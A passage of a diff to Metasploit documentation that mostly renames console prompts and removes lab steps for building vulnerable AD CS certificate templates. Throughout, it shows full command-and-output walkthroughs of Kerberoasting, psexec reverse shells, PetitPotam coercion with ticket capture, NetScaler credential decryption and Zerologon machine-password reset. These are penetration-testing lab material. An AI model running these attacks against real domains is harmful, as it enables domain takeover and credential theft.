-11. Keep all of the default settings, noting the value of the "Common name for this CA" on the "CA Name" tab (this value corresponds to the `CA` datastore option)
-12. Accept the rest of the default settings and complete the configuration
-
-### Setting up a ESC1 Vulnerable Certificate Template
-1. Open up the run prompt and type in `certsrv`.
-2. In the window that appears you should see your list of certification authorities under `Certification Authority (Local)`. Right click on the folder in the drop down marked `Certificate Templates` and then click `Manage`.
-3. Scroll down to the `User` certificate. Right click on it and select `Duplicate Template`.
-4. From here you can refer to the following [Active-Directory-Certificate-Services-abuse](https://github.com/RayRRT/Active-Directory-Certificate-Services-abuse/blob/3da1d59f1b66dd0e381b2371b8fb42d87e2c9f82/ADCS.md) documentation for screenshots.
-5. Select the `General` tab and rename this to something meaningful like `ESC1-Template`, then click the `Apply` button.
-6. In the `Subject Name` tab, select `Supply in the request` and click `Ok` on the security warning that appears. Then click the `Apply` button.
-7. Scroll to the `Extensions` tab and under `Application Policies` ensure that `Client Authentication`, `Server Authentication`, `KDC Authentication`, or `Smart Card Logon`  is listed. Then click the `Apply` button.
-8. Under the `Security` tab make sure that `Domain Users` group listed and the `Enroll` permissions is marked as allowed for this group.
-9. Under `Issuance Requirements` tab, ensure that under `Require the following for enrollment` that the `CA certificate manager approval` box is unticked, as is the `This number of authorized signatures` box.
-10. Click `Apply` and then `Ok`
-11. Go back to the `certsrv` screen and right click on the `Certificate Templates` folder. Then click `New` followed by `Certificate Template to Issue`.
-12. Scroll down and select the `ESC1-Template` certificate, or whatever you named the ESC1 template you created, and select `OK`. The certificate should now be available to be issued by the CA server.
-
-### Setting up a ESC2 Vulnerable Certificate Template
-1. Open up `certsrv`
-2. Scroll down to `Certificate Templates` folder, right click on it and select `Manage`.
-3. Find the `ESC1` certificate template you created earlier and right click on that, then select `Duplicate Template`.
-4. Select the `General` tab, and then name the template `ESC2-Template`. Then click `Apply`.
-5. Go to the `Subject Name` tab and select `Build from this Active Directory Information` and select `Fully distinguished name` under the `Subject Name Format`. The main idea of setting this option is to prevent being able to supply the subject name in the request as this is more what makes the certificate vulnerable to ESC1. The specific options here I don't think will matter so much so long as the `Supply in the request` option isn't ticked. Then click `Apply`.
-6. Go the to `Extensions` tab and click on `Application Policies`. Then click on `Edit`.
-7. Delete all the existing application policies by clicking on them one by one and clicking the `Remove` button.
-8. Click the `Add` button and select `Any Purpose` from the list that appears. Then click the `OK` button.
-9. Click the `Apply` button, and then `OK`. The certificate should now be created.
-10. Go back to the `certsrv` screen and right click on the `Certificate Templates` folder. Then click `New` followed by `Certificate Template to Issue`.
-11. Scroll down and select the `ESC2-Template` certificate, or whatever you named the ESC2 template you created, and select `OK`. The certificate should now be available to be issued by the CA server.
-
-### Setting up a ESC3 Template 1 Vulnerable Certificate Template
-1. Follow the instructions above to duplicate the ESC2 template and name it `ESC3-Template1`, then click `Apply`.
-2. Go to the `Extensions` tab, click the Application Policies entry, click the `Edit` button, and remove the `Any Purpose` policy and replace it with `Certificate Request Agent`, then click `OK`.
-3. Click `Apply`.
-4. Go to `Issuance Requirements` tab and double check that both `CA certificate manager approval` and `This number of authorized signatures` are unchecked.
-5. Click `Apply` if any changes were made or the button is not grey'd out, then click `OK` to create the certificate.
-6. Go back to the `certsrv` screen and right click on the `Certificate Templates` folder. Then click `New` followed by `Certificate Template to Issue`.
-7. Scroll down and select the `ESC3-Template1` certificate, or whatever you named the ESC3 template number 1 template you just created, and select `OK`. The certificate should now be available to be issued by the CA server.
-
-### Setting up a ESC3 Template 2 Vulnerable Certificate Template
-1. Follow the instructions above to duplicate the ESC2 template and name it `ESC3-Template2`, then click `Apply`.
-2. Go to the `Extensions` tab, click the Application Policies entry, click the `Edit` button, and remove the `Any Purpose` policy and replace it with `Client Authentication`, then click `OK`.
-3. Click `Apply`.
-4. Go to `Issuance Requirements` tab and double check that both `CA certificate manager approval` is unchecked.
-5. Check the `This number of authorized signatures` checkbox and ensure the value specified is 1, and that the `Policy type required in signature` is set to `Application Policy`, and that the `Application policy` value is `Certificate Request Agent`.
-6. Click `Apply` and then click `OK` to issue the certificate.
-7. Go back to the `certsrv` screen and right click on the `Certificate Templates` folder. Then click `New` followed by `Certificate Template to Issue`.
-8. Scroll down and select the `ESC3-Template2` certificate, or whatever you named the ESC3 template number 2 template you just created, and select `OK`. The certificate should now be available to be issued by the CA server.
-
-### Setting up a ESC8 Vulnerable Host
-1. Follow instructions for creating an AD CS enabled server
-2. Select Add Roles and Features
-3. Under "Select Server Roles" expand Active Directory Certificate Services and add `Certificate Enrollment Policy Web Service`, `Certificate Enrollment Web Service`, and `Certificate Authority Web Enrollment`.
-4. For each selection, accept the default for any pop-up.
-5. Accept the default features and install.
-6. When the installation is complete, click on the warning in the Dashboard for post-deployment configuration.
-7. Under Credentials, accept the default
-8. Under Role Services, select `Certificate Authority Web Enrollment`, `Certificate Enrollment Web Service`, and `Certificate Enrollment Policy Web Service`
-9. In CA for CES, accept the defaults
-10. In Authentication Types, accept the default integrated authentication
-11. In Service account for CES, select `Use built-in application pool identity`
-12. Accept default integrated authentication for CEP
-13. Select the domain certificate in Server Certificate (the one that starts with the domain name by default) if more than one appears.
-14. Accept the remaining defaults.
+The steps for setting up a vulnerable AD CS server are covered in the [[Installing AD CS|./ldap_esc_vulnerable_cert_finder.md]] section.

docs/metasploit-framework.wiki/kerberos/kerberoasting.md

@@ -51,7 +51,7 @@ run rhost=192.168.123.13 user=<username> pass=<password> domain=<domain>
 If you followed the lab setup setup above, this should output the following result:
 
 ```msf
-msf6 auxiliary(gather/get_user_spns) > run rhost=192.168.123.13 user=Administrator pass=p4$$w0rd domain=adf3.local
+msf auxiliary(gather/get_user_spns) > run rhost=192.168.123.13 user=Administrator pass=p4$$w0rd domain=adf3.local
 
 [*] Running for 192.168.123.13...
 [+] ServicePrincipalName                    Name                MemberOf  PasswordLastSet             LastLogon  Delegation
@@ -109,16 +109,16 @@ First an SPN needs to be found. This can be done in a number of ways - including
 very own `auxiliary/gather/ldap_query` module:
 
 ```msf
-msf6 > use auxiliary/gather/ldap_query
-msf6 auxiliary(gather/ldap_query) > set RHOSTS 172.16.199.235
+msf > use auxiliary/gather/ldap_query
+msf auxiliary(gather/ldap_query) > set RHOSTS 172.16.199.235
 RHOSTS => 172.16.199.235
-msf6 auxiliary(gather/ldap_query) > set BIND_DN DARWIN_CLAY
+msf auxiliary(gather/ldap_query) > set BIND_DN DARWIN_CLAY
 BIND_DN => DARWIN_CLAY
-msf6 auxiliary(gather/ldap_query) > set BIND_PW N0tpassword!
+msf auxiliary(gather/ldap_query) > set BIND_PW N0tpassword!
 BIND_PW => N0tpassword!
-msf6 auxiliary(gather/ldap_query) > set action ENUM_USER_SPNS_KERBEROAST
+msf auxiliary(gather/ldap_query) > set action ENUM_USER_SPNS_KERBEROAST
 action => ENUM_USER_SPNS_KERBEROAST
-msf6 auxiliary(gather/ldap_query) > run
+msf auxiliary(gather/ldap_query) > run
 [*] Running module against 172.16.199.235
 
 [+] Successfully bound to the LDAP server!

docs/metasploit-framework.wiki/kerberos/service_authentication.md

@@ -18,8 +18,8 @@ Metasploit currently offers Kerberos authentication for the following services -
 Open a WinRM session:
 
 ```msf
-msf6 > use auxiliary/scanner/winrm/winrm_login
-msf6 auxiliary(scanner/winrm/winrm_login) > run rhost=192.168.123.13 username=Administrator password=p4$$w0rd winrm::auth=kerberos domaincontrollerrhost=192.168.123.13 winrm::rhostname=dc3.demo.local domain=demo.local
+msf > use auxiliary/scanner/winrm/winrm_login
+msf auxiliary(scanner/winrm/winrm_login) > run rhost=192.168.123.13 username=Administrator password=p4$$w0rd winrm::auth=kerberos domaincontrollerrhost=192.168.123.13 winrm::rhostname=dc3.demo.local domain=demo.local
 
 [+] 192.168.123.13:88 - Received a valid TGT-Response
 [*] 192.168.123.13:5985   - TGT MIT Credential Cache ticket saved to /Users/user/.msf4/loot/20230118120604_default_192.168.123.13_mit.kerberos.cca_451736.bin
@@ -31,7 +31,7 @@ msf6 auxiliary(scanner/winrm/winrm_login) > run rhost=192.168.123.13 username=Ad
 [*] Command shell session 1 opened (192.168.123.1:50722 -> 192.168.123.13:5985) at 2023-01-18 12:06:05 +0000
 [*] Scanned 1 of 1 hosts (100% complete)
 [*] Auxiliary module execution completed
-msf6 auxiliary(scanner/winrm/winrm_login) > sessions -i -1
+msf auxiliary(scanner/winrm/winrm_login) > sessions -i -1
 [*] Starting interaction with 1...
 
 Microsoft Windows [Version 10.0.14393]
@@ -43,8 +43,8 @@ C:\Users\Administrator>
 Query LDAP for accounts:
 
 ```msf
-msf6 > use auxiliary/gather/ldap_query
-msf6 auxiliary(gather/ldap_query) > run action=ENUM_ACCOUNTS rhost=192.168.123.13 username=Administrator password=p4$$w0rd ldap::auth=kerberos ldap::rhostname=dc3.demo.local domain=demo.local domaincontrollerrhost=192.168.123.13
+msf > use auxiliary/gather/ldap_query
+msf auxiliary(gather/ldap_query) > run action=ENUM_ACCOUNTS rhost=192.168.123.13 username=Administrator password=p4$$w0rd ldap::auth=kerberos ldap::rhostname=dc3.demo.local domain=demo.local domaincontrollerrhost=192.168.123.13
 [*] Running module against 192.168.123.13
 
 [+] 192.168.123.13:88 - Received a valid TGT-Response
@@ -79,8 +79,8 @@ CN=Administrator CN=Users DC=adf3 DC=local
 Running psexec against a host:
 
 ```msf
-msf6 > use exploit/windows/smb/psexec
-msf6 exploit(windows/smb/psexec) > run rhost=192.168.123.13 username=Administrator password=p4$$w0rd smb::auth=kerberos domaincontrollerrhost=192.168.123.13 smb::rhostname=dc3.demo.local domain=demo.local
+msf > use exploit/windows/smb/psexec
+msf exploit(windows/smb/psexec) > run rhost=192.168.123.13 username=Administrator password=p4$$w0rd smb::auth=kerberos domaincontrollerrhost=192.168.123.13 smb::rhostname=dc3.demo.local domain=demo.local
 
 [*] Started reverse TCP handler on 192.168.123.1:4444
 [*] 192.168.123.13:445 - Connecting to the server...
@@ -102,8 +102,8 @@ meterpreter >
 Connect to a Microsoft SQL Server instance and run a query:
 
 ```msf
-msf6 > use auxiliary/admin/mssql/mssql_sql
-msf6 auxiliary(admin/mssql/mssql_sql) > run 192.168.123.13 domaincontrollerrhost=192.168.123.13 username=administrator password=p4$$w0rd mssql::auth=kerberos mssql::rhostname=dc3.demo.local mssqldomain=demo.local sql='select auth_scheme from sys.dm_exec_connections where session_id=@@spid'
+msf > use auxiliary/admin/mssql/mssql_sql
+msf auxiliary(admin/mssql/mssql_sql) > run 192.168.123.13 domaincontrollerrhost=192.168.123.13 username=administrator password=p4$$w0rd mssql::auth=kerberos mssql::rhostname=dc3.demo.local mssqldomain=demo.local sql='select auth_scheme from sys.dm_exec_connections where session_id=@@spid'
 [*] Reloading module...
 [*] Running module against 192.168.123.13
 
@@ -142,7 +142,7 @@ Optional options:
     * `read-only` -- Stored tickets from the cache will be used, but no new tickets are stored.
     * `write-only` -- New tickets are requested and they are stored for reuse.
     * `read-write` -- Stored tickets from the cache will be used and new tickets will be stored for reuse.
-* `${Prefix}KrbOfferedEncryptionTypes' -- The list of encryption types presented to the KDC as being supported by the Metasploit client. i.e. `SmbKrbOfferedEncryptionTypes=AES256`
+* `${Prefix}KrbOfferedEncryptionTypes` -- The list of encryption types presented to the KDC as being supported by the Metasploit client. i.e. `SmbKrbOfferedEncryptionTypes=AES256`
 
 ## Ticket management
 
@@ -150,7 +150,7 @@ When a write-enabled `KrbCacheMode` is used, tickets that are issued to Metasplo
 command can be used to view tickets. It is a top level command and can be run even if a module is in use.
 
 ```msf
-msf6 > klist
+msf > klist
 Kerberos Cache
 ==============
 host            principal               sname                              issued                     status       path
@@ -167,7 +167,7 @@ host            principal               sname                              issue
 More detailed information can be displayed by using the verbose (`-v` / `--verbose`) option.
 
 ```msf
-msf6 > klist -v
+msf > klist -v
 Kerberos Cache
 ==============
 Cache[0]:
@@ -236,7 +236,7 @@ CCACHE files can be viewed with the `loot --type mit.kerberos.ccache` command (t
 specified type).
 
 ```msf
-msf6 auxiliary(admin/dcerpc/icpr_cert) > loot --type mit.kerberos.ccache
+msf auxiliary(admin/dcerpc/icpr_cert) > loot --type mit.kerberos.ccache
 
 Loot
 ====

docs/metasploit-framework.wiki/kerberos/unconstrained_delegation.md

@@ -46,18 +46,18 @@ and should be ignored as targets.
 
 Use the `ENUM_UNCONSTRAINED_DELEGATION` action to enumerate targets:
 ```
-msf6 > use auxiliary/gather/ldap_query
-msf6 auxiliary(gather/ldap_query) > set RHOSTS 192.168.159.10
+msf > use auxiliary/gather/ldap_query
+msf auxiliary(gather/ldap_query) > set RHOSTS 192.168.159.10
 RHOSTS => 192.168.159.10
-msf6 auxiliary(gather/ldap_query) > set DOMAIN msflab.local
+msf auxiliary(gather/ldap_query) > set DOMAIN msflab.local
 DOMAIN => msflab.local
-msf6 auxiliary(gather/ldap_query) > set USERNAME aliddle
+msf auxiliary(gather/ldap_query) > set USERNAME aliddle
 USERNAME => aliddle
-msf6 auxiliary(gather/ldap_query) > set PASSWORD Password1!
+msf auxiliary(gather/ldap_query) > set PASSWORD Password1!
 PASSWORD => Password1!
-msf6 auxiliary(gather/ldap_query) > set ACTION ENUM_UNCONSTRAINED_DELEGATION 
+msf auxiliary(gather/ldap_query) > set ACTION ENUM_UNCONSTRAINED_DELEGATION 
 ACTION => ENUM_UNCONSTRAINED_DELEGATION
-msf6 auxiliary(gather/ldap_query) > run
+msf auxiliary(gather/ldap_query) > run
 [*] Running module against 192.168.159.10
 
 [*] Discovering base DN automatically
@@ -83,16 +83,16 @@ CN=DC OU=Domain Controllers DC=msflab DC=local
  samaccountname  DC$
 
 [*] Auxiliary module execution completed
-msf6 auxiliary(gather/ldap_query) > 
+msf auxiliary(gather/ldap_query) > 
 ```
 
 This results in two potential targets, WS01 and DC. Next, use the `ENUM_DOMAIN_CONTROLLERS` action to identify the
 domain controllers to remove from the list of potential targets.
 
 ```
-msf6 auxiliary(gather/ldap_query) > set ACTION ENUM_DOMAIN_CONTROLLERS 
+msf auxiliary(gather/ldap_query) > set ACTION ENUM_DOMAIN_CONTROLLERS 
 ACTION => ENUM_DOMAIN_CONTROLLERS
-msf6 auxiliary(gather/ldap_query) > run
+msf auxiliary(gather/ldap_query) > run
 [*] Running module against 192.168.159.10
 
 [*] Discovering base DN automatically
@@ -110,7 +110,7 @@ CN=DC OU=Domain Controllers DC=msflab DC=local
  operatingsystemversion  10.0 (17763)
 
 [*] Auxiliary module execution completed
-msf6 auxiliary(gather/ldap_query) >
+msf auxiliary(gather/ldap_query) >
 ```
 
 This shows that DC is a domain controller and should be removed from the list, leaving WS01 as the only viable target.
@@ -124,21 +124,21 @@ remaining options including `RHOSTS` to the domain controller, and `SMBUser` / `
 compromised domain account.
 
 ```
-msf6 > use auxiliary/scanner/dcerpc/petitpotam 
-msf6 auxiliary(scanner/dcerpc/petitpotam) > set LISTENER ws01.msflab.local
+msf > use auxiliary/scanner/dcerpc/petitpotam 
+msf auxiliary(scanner/dcerpc/petitpotam) > set LISTENER ws01.msflab.local
 LISTENER => ws01.msflab.local
-msf6 auxiliary(scanner/dcerpc/petitpotam) > set SMBUser aliddle
+msf auxiliary(scanner/dcerpc/petitpotam) > set SMBUser aliddle
 SMBUser => aliddle
-msf6 auxiliary(scanner/dcerpc/petitpotam) > set SMBPass Password1!
+msf auxiliary(scanner/dcerpc/petitpotam) > set SMBPass Password1!
 SMBPass => Password1!
-msf6 auxiliary(scanner/dcerpc/petitpotam) > set RHOSTS 192.168.159.10
+msf auxiliary(scanner/dcerpc/petitpotam) > set RHOSTS 192.168.159.10
 RHOSTS => 192.168.159.10
-msf6 auxiliary(scanner/dcerpc/petitpotam) > run
+msf auxiliary(scanner/dcerpc/petitpotam) > run
 
 [+] 192.168.159.10:445    - Server responded with ERROR_BAD_NETPATH which indicates that the attack was successful
 [*] 192.168.159.10:445    - Scanned 1 of 1 hosts (100% complete)
 [*] Auxiliary module execution completed
-msf6 auxiliary(scanner/dcerpc/petitpotam) >
+msf auxiliary(scanner/dcerpc/petitpotam) >
 ```
 
 If the module does not indicate that the attack was successful, another tool like
@@ -150,12 +150,12 @@ from the compromised host. If the attack was successful there should be at least
 computer account.
 
 ```
-msf6 > use post/windows/manage/kerberos_tickets 
-msf6 post(windows/manage/kerberos_tickets) > set SESSION -1
+msf > use post/windows/manage/kerberos_tickets 
+msf post(windows/manage/kerberos_tickets) > set SESSION -1
 SESSION => -1
-msf6 post(windows/manage/kerberos_tickets) > set SERVICE krbtgt/*
+msf post(windows/manage/kerberos_tickets) > set SERVICE krbtgt/*
 SERVICE => krbtgt/*
-msf6 post(windows/manage/kerberos_tickets) > run
+msf post(windows/manage/kerberos_tickets) > run
 
 [*] LSA Handle: 0x000001efe1c415a0
 [*] LogonSession LUID: 0x00004bc1d 
@@ -208,7 +208,7 @@ In this case, a TGT for the `MSFLAB\DC$` account was obtained through the logon
 ticket was stored to disk in a ccache file. The ticket can also be seen in the output of `klist`.
 
 ```
-msf6 post(windows/manage/kerberos_tickets) > klist
+msf post(windows/manage/kerberos_tickets) > klist
 Kerberos Cache
 ==============
 id   host            principal               sname                             issued                     status  path
@@ -216,7 +216,7 @@ id   host            principal               sname                             i
 411  192.168.159.10  DC$@MSFLAB.LOCAL        krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL  2023-08-23 09:32:46 -0400  active  /home/smcintyre/.msf4/loot/20230823151744_default_192.168.159.10_mit.kerberos.cca_307418.bin
 407  192.168.159.10  WS01$@MSFLAB.LOCAL      krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL  2023-08-23 15:14:46 -0400  active  /home/smcintyre/.msf4/loot/20230823151735_default_192.168.159.10_mit.kerberos.cca_760842.bin
 
-msf6 post(windows/manage/kerberos_tickets) > 
+msf post(windows/manage/kerberos_tickets) > 
 ```
 
 ### Using The Ticket

docs/navigation.rb

@@ -597,6 +597,10 @@ NAVIGATION_CONFIG = [
                   },
                 ]
               },
+              {
+                path: 'Post-Mixins.md',
+                title: 'PostMixins'
+              },
               {
                 path: 'How-to-log-in-Metasploit.md',
                 title: 'Logging'

documentation/cli/msfconsole/jobs.md

@@ -81,12 +81,12 @@ Examples
 
 Starting a module as a job:
 
-    msf5 exploit(multi/handler) > run -j
+    msf exploit(multi/handler) > run -j
     [*] Exploit running as background job 1.
 
 A verbose listing of all the jobs:
 
-    msf5 exploit(multi/handler) > jobs -v
+    msf exploit(multi/handler) > jobs -v
     
     Jobs
     ====
@@ -97,16 +97,16 @@ A verbose listing of all the jobs:
 
 Set some jobs to be started on `msfconsole` start:
 
-    msf5 exploit(multi/handler) > jobs -p 1-2
+    msf exploit(multi/handler) > jobs -p 1-2
     Added persistence to job 1.
     Added persistence to job 2.
 
 Getting information about a specific job:
 
-    msf5 exploit(multi/handler) > jobs -i 1
+    msf exploit(multi/handler) > jobs -i 1
     
     Name: Generic Payload Handler, started at 2019-02-20 19:03:19 -0600
-    msf5 exploit(multi/handler) > jobs -i 1 -v
+    msf exploit(multi/handler) > jobs -i 1 -v
     
     Name: Generic Payload Handler, started at 2019-02-20 19:03:19 -0600
     

documentation/cli/msfconsole/repeat.md

@@ -30,8 +30,8 @@ Examples
 
 Run the heartbleed module every 10 seconds against a server for an hour:
 
-    msf5 > use auxiliary/scanner/ssl/openssl_heartbleed
-    msf5 auxiliary(scanner/ssl/openssl_heartbleed) > set ACTION DUMP
+    msf > use auxiliary/scanner/ssl/openssl_heartbleed
+    msf auxiliary(scanner/ssl/openssl_heartbleed) > set ACTION DUMP
     # Set other options...
-    msf5 auxiliary(scanner/ssl/openssl_heartbleed) > repeat -t 3600 run; sleep 10
+    msf auxiliary(scanner/ssl/openssl_heartbleed) > repeat -t 3600 run; sleep 10
 

documentation/modules/auxiliary/admin/aws/aws_launch_instances.md

@@ -54,9 +54,9 @@ retrieve deployment packages from S3.
 The VPC or Virtual Private Cloud, an isolated local area network. Network access
 can be made available by assigning an Internet routable IP address to a host or
 routing traffic to it through an ELB (Elastic Load Balancer). In either case
-security-groups are used to open access to network ranges and specific TPC/UDP
+security-groups are used to open access to network ranges and specific TCP/UDP
 ports. Security-groups provide much of the functionality of traditional firewalls
-and can be configured by specifying a protocol, a CIDR and a port. 
+and can be configured by specifying a protocol, a CIDR and a port.
 
 ## How it Works
 
@@ -65,7 +65,7 @@ Web console or the CLI, launching a host in the Cloud requires a fair
 amount of configuration; this module does its best to abstract configuration
 requirements away from the user by auto detecting the VPC, subnets, creating
 security groups, etc. It performs several tasks to launch a host with
-a public IP address, these are as follow: 1) select a VPC, 2) select a subnet, 3)
+a public IP address, these are as follows: 1) select a VPC, 2) select a subnet, 3)
 create/select a security group, 4) create/select a key-pair, and 5) launch
 a host.
 
@@ -80,7 +80,7 @@ an Internet routable IP address. The module dynamically finds which subnet to
 launch the host in. It will use the first subnet it finds having the
 `Auto-assign Public IP` option set, if no such subnet exists, then it will
 select the first subnet having an Internet gateway. To circumvent this process,
-the `SUBNET_ID` advanced option can be set. 
+the `SUBNET_ID` advanced option can be set.
 
 When launching a Cloud host at least one security group is required. There are
 several advanced options for creating/selecting a security group. The
@@ -88,7 +88,7 @@ several advanced options for creating/selecting a security group. The
 That is, the module will create a security group unless the `SEC_GROUP_ID`
 options is set. If the `SEC_GROUP_ID` option is not set, the module will attempt
 to create a security group using the values specified in the `SEC_GROUP_CIDR`,
-`SEC_GROUP_NAME`, and `SEC_GROUP_PORT` options as configuration. 
+`SEC_GROUP_NAME`, and `SEC_GROUP_PORT` options as configuration.
 
 The `KEY_NAME` and `SSH_PUB_KEY` options are used in conjunction to select or
 create a key-pair (a named SSH public key). Key-pairs are used to authenticate
@@ -113,7 +113,7 @@ use command. To run the module, only the `AccessKeyId`, `SecretAccessKey`, and
 Basic Options:
 
 * `AMI_ID`: The Amazon Machine Image (AMI) ID (region dependent)
-* `RHOST`: the AWS EC2 Endpoint (ec2.us-west-2.amazonaws.com), may change this to something closer to you
+* `RHOST`: The AWS EC2 Endpoint (ec2.us-west-2.amazonaws.com), may change this to something closer to you
 * `Region`: The default region (us-west-2), must match endpoint
 * `AccessKeyId`: AWS API access key
 * `SecretAccessKey`: AWS API secret access key
@@ -129,10 +129,10 @@ Advanced Options:
 * `MinCount`: Minimum number of instances to launch
 * `ROLE_NAME`: The instance profile/role name
 * `RPORT:` AWS EC2 Endpoint TCP Port
-* `SEC_GROUP_ID`: the EC2 security group to use
-* `SEC_GROUP_CIDR`: the EC2 security group network access CIDR, defaults to 0.0.0.0/0
-* `SEC_GROUP_NAME`: the EC2 security group name
-* `SEC_GROUP_PORT`: the EC2 security group network access port, defaults to tcp:22
+* `SEC_GROUP_ID`: The EC2 security group to use
+* `SEC_GROUP_CIDR`: The EC2 security group network access CIDR, defaults to 0.0.0.0/0
+* `SEC_GROUP_NAME`: The EC2 security group name
+* `SEC_GROUP_PORT`: The EC2 security group network access port, defaults to tcp:22
 * `SUBNET_ID`: The public subnet to use
 * `UserAgent`: The User-Agent header to use for all requests
 * `VPC_ID`: The EC2 VPC ID
@@ -181,7 +181,7 @@ msf auxiliary(aws_launch_instances) > run
 ...
 [*] instance i-12345678 status: ok
 [*] Instance i-12345678 has IP address 54.186.158.6
-[*] Auxiliary module execution completed 
+[*] Auxiliary module execution completed
 ```
 
 When the host has passed its primary system checks, the IP address will be

documentation/modules/auxiliary/admin/chromecast/chromecast_youtube.md

@@ -12,7 +12,7 @@ Only the deprecated DIAL protocol is supported by this module. Casting via the n
 
 ## Options
 
-  **VID**
+### VID
 
   The YouTube video to be played.  Defaults to [kxopViU98Xo](https://www.youtube.com/watch?v=kxopViU98Xo)
 

documentation/modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt.md

@@ -107,10 +107,10 @@ fragments currently defined on the appliance as well as the current `ns.conf` fi
 
 Example run against config file without KEK from NetScaler VPX running NS11.0 Build 62.10.nc:
 ```
-msf6 > use modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt
-msf6 auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > set ns_conf /tmp/ns.conf.NS11.0-62.10.conf
+msf > use modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt
+msf auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > set ns_conf /tmp/ns.conf.NS11.0-62.10.conf
 ns_conf => /tmp/ns.conf.NS11.0-62.10.conf
-msf6 auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > dump
+msf auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > dump
 
 [*] Config line:
 add ssl certKey netscaler_cesium137_io -cert netscaler_cesium137_io.pem -key netscaler_cesium137_io.key -passcrypt "VbuAvo9nq18Zap0joBBv1a1Chm5BOerJ3GhYWU+Wbv0=" -expiryMonitor DISABLED
@@ -141,20 +141,20 @@ add lb monitor mon_ldap LDAP -scriptName nsldap.pl -dispatcherIP 127.0.0.1 -disp
 [+] User: wiz@cesium137.io
 [+] Pass: 2AxDGAhirQWuuGxFpSq9ehFwny81RSm
 [*] Auxiliary module execution completed
-msf6 auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > 
+msf auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > 
 ```
 
 Example run against config file using KEK from NetScaler VPX running NS13.0 Build 85.15.nc:
 
 ```
-msf6 > use modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt
-msf6 auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > set ns_conf /tmp/ns.conf 
+msf > use modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt
+msf auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > set ns_conf /tmp/ns.conf 
 ns_conf => /tmp/ns.conf
-msf6 auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > set ns_kek_f1 /tmp/F1.key
+msf auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > set ns_kek_f1 /tmp/F1.key
 ns_kek_f1 => /tmp/F1.key
-msf6 auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > set ns_kek_f2 /tmp/F2.key
+msf auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > set ns_kek_f2 /tmp/F2.key
 ns_kek_f2 => /tmp/F2.key
-msf6 auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > dump
+msf auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > dump
 
 [*] Building NetScaler KEK from key fragments ...
 [+] NS KEK F1
@@ -208,5 +208,5 @@ add lb monitor mon-radius RADIUS -respCode 2 -userName ldap -password fda3a1c599
 [+] User: ldap
 [+] Pass: Gr33n3gg$
 [*] Auxiliary module execution completed
-msf6 auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > 
+msf auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > 
 ```

documentation/modules/auxiliary/admin/dcerpc/cve_2020_1472_zerologon.md

@@ -52,12 +52,12 @@ This value is only used when running the module with the `RESTORE` action.
 First, exploit the vulnerability to remove the machine account password by replacing it with an empty string.
 
 ```
-msf6 > use auxiliary/admin/dcerpc/cve_2020_1472_zerologon 
-msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > set RHOSTS 192.168.159.53 
+msf > use auxiliary/admin/dcerpc/cve_2020_1472_zerologon 
+msf auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > set RHOSTS 192.168.159.53 
 RHOSTS => 192.168.159.53
-msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > set NBNAME WIN-GD5KVDKUNIP
+msf auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > set NBNAME WIN-GD5KVDKUNIP
 NBNAME => WIN-GD5KVDKUNIP
-msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > show options 
+msf auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > show options 
 
 Module options (auxiliary/admin/dcerpc/cve_2020_1472_zerologon):
 
@@ -75,7 +75,7 @@ Auxiliary action:
    REMOVE  Remove the machine account password
 
 
-msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > run
+msf auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > run
 [*] Running module against 192.168.159.53
 
 [*] 192.168.159.53: - Connecting to the endpoint mapper service...
@@ -84,7 +84,7 @@ msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > run
 [+] 192.168.159.53:6403 - Successfully authenticated
 [+] 192.168.159.53:6403 - Successfully set the machine account (WIN-GD5KVDKUNIP$) password to: aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 (empty)
 [*] Auxiliary module execution completed
-msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) >
+msf auxiliary(admin/dcerpc/cve_2020_1472_zerologon) >
 ```
 
 At this point the `exploit/windows/smb/psexec` module can be used to achieve code execution if desired. Set the `SMBUser` option to the
@@ -94,14 +94,14 @@ Next, recover the original machine account password value using `auxiliary/gathe
 value in the `$MACHINE.ACC` section.
 
 ```
-msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > use auxiliary/gather/windows_secrets_dump 
-msf6 auxiliary(gather/windows_secrets_dump) > set RHOSTS 192.168.159.53
+msf auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > use auxiliary/gather/windows_secrets_dump 
+msf auxiliary(gather/windows_secrets_dump) > set RHOSTS 192.168.159.53
 RHOSTS => 192.168.159.53
-msf6 auxiliary(gather/windows_secrets_dump) > set SMBUser WIN-GD5KVDKUNIP$
+msf auxiliary(gather/windows_secrets_dump) > set SMBUser WIN-GD5KVDKUNIP$
 SMBUser => WIN-GD5KVDKUNIP$
-msf6 auxiliary(gather/windows_secrets_dump) > set SMBPass aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
